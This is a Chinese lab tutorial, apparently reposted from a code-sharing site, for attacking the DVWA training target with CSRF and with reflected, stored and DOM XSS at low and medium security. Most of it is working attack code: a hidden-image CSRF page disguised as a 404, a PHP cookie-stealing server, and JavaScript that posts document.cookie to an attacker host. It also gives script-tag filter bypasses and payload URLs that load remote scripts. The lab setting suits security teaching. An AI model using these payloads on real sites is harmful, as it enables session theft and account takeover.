跨站攻擊


提示:本實驗僅用於學習參考,不可用作其他用途!

實驗環境要求:

總體目標:基於centos7搭建dvwa web服務靶機,使用主機上的瀏覽器和php虛擬機作為攻擊機,攻擊dvwa上的跨站漏洞。

任務一、搭建實驗基礎環境

  1. 使用dvwa@centos7創建鏈接克隆php@centos7虛擬機

  1. 更改php@centos7虛擬機地址為192.168.*.123

  1. 在dvwa虛擬機ping php虛擬機

  1. 在主機訪問php虛擬機phpinfo.php頁面

 

任務二、攻擊CSRF跨站請求偽造漏洞

  1. 在主機使用瀏覽器訪問dvwa站點設置low級別

  1. 打開csrf頁面,修改密碼為123456

  1. 在dvwa虛擬機打開數據庫查看admin的密碼

  1. 在主機瀏覽器中構造URL改變admin的密碼

http://192.168.*.80/dvwa/vulnerabilities/csrf/?password_new=password&password_conf= password &Change=Change#

  1. 在dvwa虛擬機打開數據庫查看admin的密碼

  1. 在php虛擬機構造攻擊頁面,改變admin的密碼 (注意瀏覽器同源策略)

<h1>404<h1>

<h2>file not found.<h2>

<img src="http://靶機IP/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

  1. 在主機瀏覽器訪問php虛擬機上的攻擊頁面

  1. 在dvwa虛擬機打開數據庫查看admin的密碼

任務三、在php@centos7構建惡意服務器

  1. 創建數據庫dvwacookie

create database dvwacookie;

use dvwacookie;

create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

  1. 編寫cookie竊取代碼/var/www/html/steal.php

<?php

header("content-type:text/html;charset=utf-8");

echo "<h2>hello</h2>";

echo "</br>";

$conn=mysql_connect("localhost","root","123456");

mysql_select_db("dvwacookie",$conn);

if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysql_query($sql,$conn);

mysql_close();

}

else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

$result=mysql_query($sql,$conn);

mysql_close();

}

else

{

$sql="select * from low";

$result=mysql_query($sql,$conn);

while($row=mysql_fetch_array($result))

{

echo "偷取的cookie:".$row[1]."</br>";

}

mysql_close();

}

?>

  1. 在主機瀏覽器訪問steal.php

  1. 編寫JS代碼/var/www/html/cookie.js

document.write("<form action='http://攻擊機IP/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

  1. 編寫JS代碼/var/www/html/cookie_ajax.js

var url = "http://攻擊機IP/steal.php";

var postStr = "data="+document.cookie;

var ajax = null;

if (window.XMLHttpRequest) {

ajax = new XMLHttpRequest();

} else if (window.ActiveXObject) {

ajax = new ActiveXObject("Microsoft.XMLHTTP");

} else {

ajax=null;

}

ajax.open("POST", url, true);//true代表異步

ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

ajax.send(postStr);

任務四、攻擊DVWA反射型XSS漏洞(low)

  1. 測試dvwa反射型XSS漏洞(low)注入點

設置dvwa為low級別,在http://靶機IP/dvwa/vulnerabilities/xss_r/的輸入框中輸入<script>alert(/xss/)</script>

  1. 在dvwa注入點插入攻擊腳本,點擊提交

<script src=http://攻擊機IP/cookie.js></script>

  1. 在主機瀏覽器訪問steal.php

  1. 在dvwa已經登錄的瀏覽器地址欄輸入url

http://靶機IP/dvwa/vulnerabilities/xss_r/?name=<script src=http://攻擊機IP/cookie.js></script>

  1. 在主機瀏覽器訪問steal.php

任務五、攻擊DVWA反射型XSS漏洞(medium)

  1. 測試dvwa反射型XSS漏洞(medium)注入點

設置dvwa為medium級別,在http://靶機IP/dvwa/vulnerabilities/xss_r/的輸入框中輸入<sc<script>ript>alert(/xss/)</script>

  1. 在dvwa注入點插入攻擊腳本,點擊提交

<sc<script>ript src=http://攻擊機IP/cookie.js></script>

  1. 在主機瀏覽器訪問steal.php

  1. 在dvwa已經登錄的瀏覽器地址欄輸入url

http://靶機IP/dvwa/vulnerabilities/xss_r/?name=<sc<script>ript src=http://攻擊機IP/cookie.js></script>

  1. 在主機瀏覽器訪問steal.php

任務六、攻擊DVWA存儲型XSS漏洞(low)

  1. 修改dvwa存儲型XSS漏洞前端代碼

  1. 測試dvwa存儲型XSS漏洞(low)注入點

設置dvwa為low級別,在http://靶機IP/dvwa/vulnerabilities/xss_s/的Message*輸入框中輸入<script>alert(/xss/)</script>

在dvwa的MySQL數據庫中查看dvwa數據庫guestbook表

  1. 在dvwa注入點插入攻擊腳本,點擊提交

http://靶機IP/dvwa/vulnerabilities/xss_s/的Message *輸入框中輸入<script src=http://攻擊機IP/cookie.js></script>

在另外的瀏覽器訪問dvwa,設為low級別,點擊訪問http://靶機IP/dvwa/vulnerabilities/xss_s/

  1. 在php虛擬機查看dvwacookie數據庫low表

  1. 在主機瀏覽器訪問steal.php

  1. 在dvwa注入點插入ajax攻擊腳本,點擊提交

http://靶機IP/dvwa/vulnerabilities/xss_s/的Message *輸入框中輸入<script src=http://攻擊機IP/cookie_ajax.js></script>

在另外的瀏覽器訪問dvwa,設為low級別,點擊訪問http://靶機IP/dvwa/vulnerabilities/xss_s/

  1. 在主機瀏覽器訪問steal.php

  1. 在php虛擬機查看dvwacookie數據庫low表

任務七、攻擊DVWA存儲型XSS漏洞(medium)

  1. 測試dvwa存儲型XSS漏洞(medium)注入點

設置dvwa為medium級別,在http://靶機IP/dvwa/vulnerabilities/xss_s/的name*輸入框中輸入<sc<script>ript>alert(/xss/)</script>

在dvwa的MySQL數據庫中查看dvwa數據庫guestbook表

  1. 在dvwa注入點插入攻擊腳本,點擊提交

http://靶機IP/dvwa/vulnerabilities/xss_s/的name*輸入框中輸入<sc<script>ript src=http://攻擊機IP/cookie.js></script>

在另外的瀏覽器訪問dvwa,設為low級別,點擊訪問http://靶機IP/dvwa/vulnerabilities/xss_s/

  1. 在php虛擬機查看dvwacookie數據庫low表

  1. 在主機瀏覽器訪問steal.php

  1. 在dvwa注入點插入ajax攻擊腳本,點擊提交

http://靶機IP/dvwa/vulnerabilities/xss_s/的name*輸入框中輸入<sc<script>ript src=http://攻擊機IP/cookie_ajax.js></script>

在另外的瀏覽器訪問dvwa,設為low級別,點擊訪問http://靶機IP/dvwa/vulnerabilities/xss_s/

  1. 在主機瀏覽器訪問steal.php

  1. 在php虛擬機查看dvwacookie數據庫low表

任務八、攻擊DVWA DOM型XSS漏洞(low)

  1. 測試dvwa DOM型XSS漏洞(low)注入點

設置dvwa為low級別,在主機瀏覽器地址欄中輸入

http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

在瀏覽器中查看源代碼,分析dom數據

  1. 獲取用戶cookie

在主機瀏覽器地址欄中輸入

http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=<script src=http://192.168.60.123/cookie_ajax.js></script>

在瀏覽器中查看源代碼,分析dom數據

  1. 在php虛擬機查看dvwacookie數據庫low表

  1. 在主機瀏覽器訪問steal.php


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM